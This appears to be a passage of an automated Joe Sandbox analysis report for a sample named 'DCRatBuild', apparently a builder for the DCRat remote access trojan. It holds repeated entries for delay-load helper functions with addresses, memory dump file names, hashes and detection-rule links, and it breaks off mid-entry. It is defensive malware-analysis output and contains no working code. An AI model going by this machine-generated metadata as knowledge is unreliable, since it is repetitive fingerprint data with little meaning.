Instruction Fuzzy Hash: 64E055706812087BD601AF66CC02FAEBB65CB14B21B0000AFF80093240CE385E108AEE

Function 004AE1D1 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 004AE1E3

Part of subcall function 004AE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 004AE8D0
Part of subcall function 004AE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 004AE8E1

Strings

J, xrefs: 004AE1DD

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: J
API String ID: 1269201914-200179588
Opcode ID: ec57b7563b1b155117b1308daa783101a5da3f031c408ae07dd6e63af0cd6ead
Instruction ID: a0ad718b59f87a29033e8aa58ed64ea0d320700b2306aaa23693ab586bddc99d
Opcode Fuzzy Hash: ec57b7563b1b155117b1308daa783101a5da3f031c408ae07dd6e63af0cd6ead
Instruction Fuzzy Hash: D9B012E9258110FC310421471DC2D37110CC1D7B11330C43FFC25C0480D84CEC01043E

Function 004AE1EC Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 004AE1E3

Part of subcall function 004AE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 004AE8D0
Part of subcall function 004AE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 004AE8E1

Strings

J, xrefs: 004AE1DD

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: J
API String ID: 1269201914-200179588
Opcode ID: 5711af5aa27f54be694b53e890efafd97ae88d68869f0392ab93815aeaa8bde1
Instruction ID: fdd5811f127d9e33123f43e34c0dcf9f4e2807668ac0e26737da97e2985640b6
Opcode Fuzzy Hash: 5711af5aa27f54be694b53e890efafd97ae88d68869f0392ab93815aeaa8bde1
Instruction Fuzzy Hash: 50B012E925C114FC3144614B1DC2E37010CC1D6B11330803FF829C1080D84CAC01053E

Function 004AE1F6 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 004AE1E3

Part of subcall function 004AE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 004AE8D0
Part of subcall function 004AE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 004AE8E1

Strings

J, xrefs: 004AE1DD

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: J
API String ID: 1269201914-200179588
Opcode ID: 977890e3fdc994f04c7ae24077413d0885e39d28542c527ac3b406af0c80caa1
Instruction ID: 936b5627cad154f46c6cfc27f673fbf4467b40ef0dccf211505536be6a02ffb5
Opcode Fuzzy Hash: 977890e3fdc994f04c7ae24077413d0885e39d28542c527ac3b406af0c80caa1
Instruction Fuzzy Hash: DDB012E6258010FC318466071D82E37110CC1D7B11330C03FFC29C1180D94CEC05043E

Function 004AE246 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 004AE1E3

Part of subcall function 004AE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 004AE8D0
Part of subcall function 004AE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 004AE8E1

Strings

J, xrefs: 004AE1DD

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: J
API String ID: 1269201914-200179588
Opcode ID: 85091dc8cc042b3981759e45b0c93770a41f7a4137187303f1397ae09fef9396
Instruction ID: 18bdc990570db7f073506197df1990e5cb8175fe937e1c61b15056c0c9af8649
Opcode Fuzzy Hash: 85091dc8cc042b3981759e45b0c93770a41f7a4137187303f1397ae09fef9396
Instruction Fuzzy Hash: 5AB012E5259050FC314461071D82E37110DC1D7B11330C03FFC29C1080D84CEC01043E

Function 004AE250 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 004AE1E3

Part of subcall function 004AE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 004AE8D0
Part of subcall function 004AE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 004AE8E1

Strings

J, xrefs: 004AE1DD

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: J
API String ID: 1269201914-200179588
Opcode ID: 126dfdc96931c57c5f7ee52f0fe837b6458efa3ccf75b7b1f1fbb7dbe06def6d
Instruction ID: e148c398014a1fbfa2f54574c0c22839dc9c2877706639c7e583326ab94a2f19
Opcode Fuzzy Hash: 126dfdc96931c57c5f7ee52f0fe837b6458efa3ccf75b7b1f1fbb7dbe06def6d
Instruction Fuzzy Hash: 82B012F5259150FC318462071D82E37010DC1D6B11330813FF829C1080D84CAC45043E

Function 004AE26E Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 004AE1E3

Part of subcall function 004AE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 004AE8D0
Part of subcall function 004AE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 004AE8E1

Strings

J, xrefs: 004AE1DD

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: J
API String ID: 1269201914-200179588
Opcode ID: e1388919ddfe34a95830612ae48eff627de467001b90ff2565479febbded6370
Instruction ID: a62126bd9858990ebf10d36be9711d2152aa37056382cc0a8e003d8cb9c47e8e
Opcode Fuzzy Hash: e1388919ddfe34a95830612ae48eff627de467001b90ff2565479febbded6370
Instruction Fuzzy Hash: 7FB012E5258010FC3144A1171D82E37114CC1D7B11330C03FFD29C1080D94CEC01043E

Function 004AE264 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 004AE1E3

Part of subcall function 004AE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 004AE8D0
Part of subcall function 004AE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 004AE8E1

Strings

J, xrefs: 004AE1DD

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: J
API String ID: 1269201914-200179588
Opcode ID: 0176692b75fa02e58125ea8ba25d8ba5b6b05467b87473bef60d1e75820f3786
Instruction ID: 738cecbcee5dc358346d1d93a6fd5edde3330caaf9ba3c55ea79a3580f029ced
Opcode Fuzzy Hash: 0176692b75fa02e58125ea8ba25d8ba5b6b05467b87473bef60d1e75820f3786
Instruction Fuzzy Hash: 98B012E5269050FC314461071D82E37014DC5D6B11330803FF82AC1080D84CAC01043E

Function 004AE20A Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 004AE1E3

Part of subcall function 004AE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 004AE8D0
Part of subcall function 004AE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 004AE8E1

Strings

J, xrefs: 004AE1DD, 004AE20A

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: J
API String ID: 1269201914-200179588
Opcode ID: 6ae1a49badd7fd174411046680491c7a1ed5350edbf6dbdc5c0a1cf63f231ccc
Instruction ID: 005ba2413496e36b783f6d9db8a06d4ad6e4bd9f1a77ed4bf07d1f5c449dc415
Opcode Fuzzy Hash: 6ae1a49badd7fd174411046680491c7a1ed5350edbf6dbdc5c0a1cf63f231ccc
Instruction Fuzzy Hash: 84B012E5258010FC318462071E82E37010CC1D6B11330C03FF829C1180DD5CAD0A043E

Function 004AE200 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 004AE1E3

Part of subcall function 004AE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 004AE8D0
Part of subcall function 004AE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 004AE8E1

Strings

J, xrefs: 004AE1DD

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: J
API String ID: 1269201914-200179588
Opcode ID: ca677e3ebed228e96c26e7c5af4166f6b519d8dc1f08cebc5aac6d38d983ed95
Instruction ID: 07a4582f068ed86d8450198d72b2f73a91574d404776f013f4d8c1860753c22f
Opcode Fuzzy Hash: ca677e3ebed228e96c26e7c5af4166f6b519d8dc1f08cebc5aac6d38d983ed95
Instruction Fuzzy Hash: 83B012E5358150FC31C462071D82E37010CC1D6B11330C13FF829C1180D94CAC45043E

Function 004AE21E Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 004AE1E3

Part of subcall function 004AE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 004AE8D0
Part of subcall function 004AE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 004AE8E1

Strings

J, xrefs: 004AE1DD

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: J
API String ID: 1269201914-200179588
Opcode ID: bbdfa69825a9b478f9fbafcc5458d4841aeea8b64543571aec70422c8813d122
Instruction ID: faa2a17d282a65b7e64d02958a6adfc824d13c5e388f23052b69dc58be1c10e8
Opcode Fuzzy Hash: bbdfa69825a9b478f9fbafcc5458d4841aeea8b64543571aec70422c8813d122
Instruction Fuzzy Hash: 1FB092A5258010BC314465075982E37110CC197B11330802FF829C1080984CA901043A

Function 004AE228 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 004AE1E3

Part of subcall function 004AE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 004AE8D0
Part of subcall function 004AE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 004AE8E1

Strings

J, xrefs: 004AE1DD

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: J
API String ID: 1269201914-200179588
Opcode ID: 2c67db983abc739fb056b49d4f3f3212818f39dde6a90e1528f49972ae567188
Instruction ID: 1729fc63a270b190ebf16586dbccc0204ae7b1b616e9e531e0b7d6ef64263f2b
Opcode Fuzzy Hash: 2c67db983abc739fb056b49d4f3f3212818f39dde6a90e1528f49972ae567188
Instruction Fuzzy Hash: 8EB012F5258110FC318465075D82E37010CC1D7F11330813FF829C1080D84CAD41043E

Function 004AE23C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 004AE1E3

Part of subcall function 004AE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 004AE8D0
Part of subcall function 004AE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 004AE8E1

Strings

J, xrefs: 004AE1DD

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: J
API String ID: 1269201914-200179588
Opcode ID: 870fc307928b4b47672e9462a63d9ca566d31c3b3c3aa3b2445c04cb221ea6f0
Instruction ID: 73dcaf186fd5ee304111d2e1c46cd0fb7101b9e020bc90b293305e50d76b50a4
Opcode Fuzzy Hash: 870fc307928b4b47672e9462a63d9ca566d31c3b3c3aa3b2445c04cb221ea6f0
Instruction Fuzzy Hash: 9BB012F5258010FC314465075D82E37010CC1D7F11330803FF829C1080D84CAD01043E

Function 004AE232 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 004AE1E3

Part of subcall function 004AE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 004AE8D0
Part of subcall function 004AE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 004AE8E1

Strings

J, xrefs: 004AE1DD

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: J
API String ID: 1269201914-200179588
Opcode ID: f6a45f85f4eb1a3c93a07b9a35e7809bc21f9525435b16b99f2eb4ae00c68e10
Instruction ID: 1f9afdf21779866fc984463c07adf563169f2b1b6b3bdb53e02c2936c53bdac6
Opcode Fuzzy Hash: f6a45f85f4eb1a3c93a07b9a35e7809bc21f9525435b16b99f2eb4ae00c68e10
Instruction Fuzzy Hash: 55B012F5258010FC314465075E82E37010CC1D7F11330803FF829C1084DC4CAE02043E

Function 004AEAE7 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 004AEAF9

Part of subcall function 004AE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 004AE8D0
Part of subcall function 004AE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 004AE8E1

Strings

3Ro, xrefs: 004AEAE7, 004AEAF3

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: 3Ro
API String ID: 1269201914-1492261280
Opcode ID: 7bb967eb2b45ea5c22760991a288b2a4af50cdfa52b990e80b3776ef7765726f
Instruction ID: e5dd5fbcf1fa33e690d8f373d9e9f4929e4569238a6ab5143847fda2ab0dab03
Opcode Fuzzy Hash: 7bb967eb2b45ea5c22760991a288b2a4af50cdfa52b990e80b3776ef7765726f
Instruction Fuzzy Hash: 97B012CA39A0427C310472071E42D37010CC1E2B95330C02FF524C40C5DC8C0C02043E

Function 004AE282 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 004AE1E3

Part of subcall function 004AE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 004AE8D0
Part of subcall function 004AE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 004AE8E1

Strings

J, xrefs: 004AE1DD

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: J
API String ID: 1269201914-200179588
Opcode ID: 18ab0966b77487b4ccb56e3491455a45eb776b622e8fbf1b394576ac9367afe4
Instruction ID: b25e9d272ab7e0df187f40011037f5bdfbbc3bc762cad9c91699de136a67b537
Opcode Fuzzy Hash: 18ab0966b77487b4ccb56e3491455a45eb776b622e8fbf1b394576ac9367afe4
Instruction Fuzzy Hash: 14B012F5258010FC3144A1071E82E37018CC1D6B11330803FF829C1080DC4CED02043E

Function 004AE546 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 004AE51F

Part of subcall function 004AE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 004AE8D0
Part of subcall function 004AE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 004AE8E1

Strings

PDu<J, xrefs: 004AE519, 004AE546

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: PDu<J
API String ID: 1269201914-2547070606
Opcode ID: 6383772b2da121cfca3b0169e27da531277e6c1807d00c948b65cca1ff3460bd
Instruction ID: c4e6f96ed46a7637804b5871fd09c1640a4558e8eb1af71c5379f9556f8cc3d2
Opcode Fuzzy Hash: 6383772b2da121cfca3b0169e27da531277e6c1807d00c948b65cca1ff3460bd
Instruction Fuzzy Hash: 5BB012C5B591007C3244714B6D03E3B050CC1D7F1D330822FF428C1084EC4C0C45043E

Function 004AE50D Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 004AE51F

Part of subcall function 004AE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 004AE8D0
Part of subcall function 004AE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 004AE8E1

Strings

PDu<J, xrefs: 004AE519
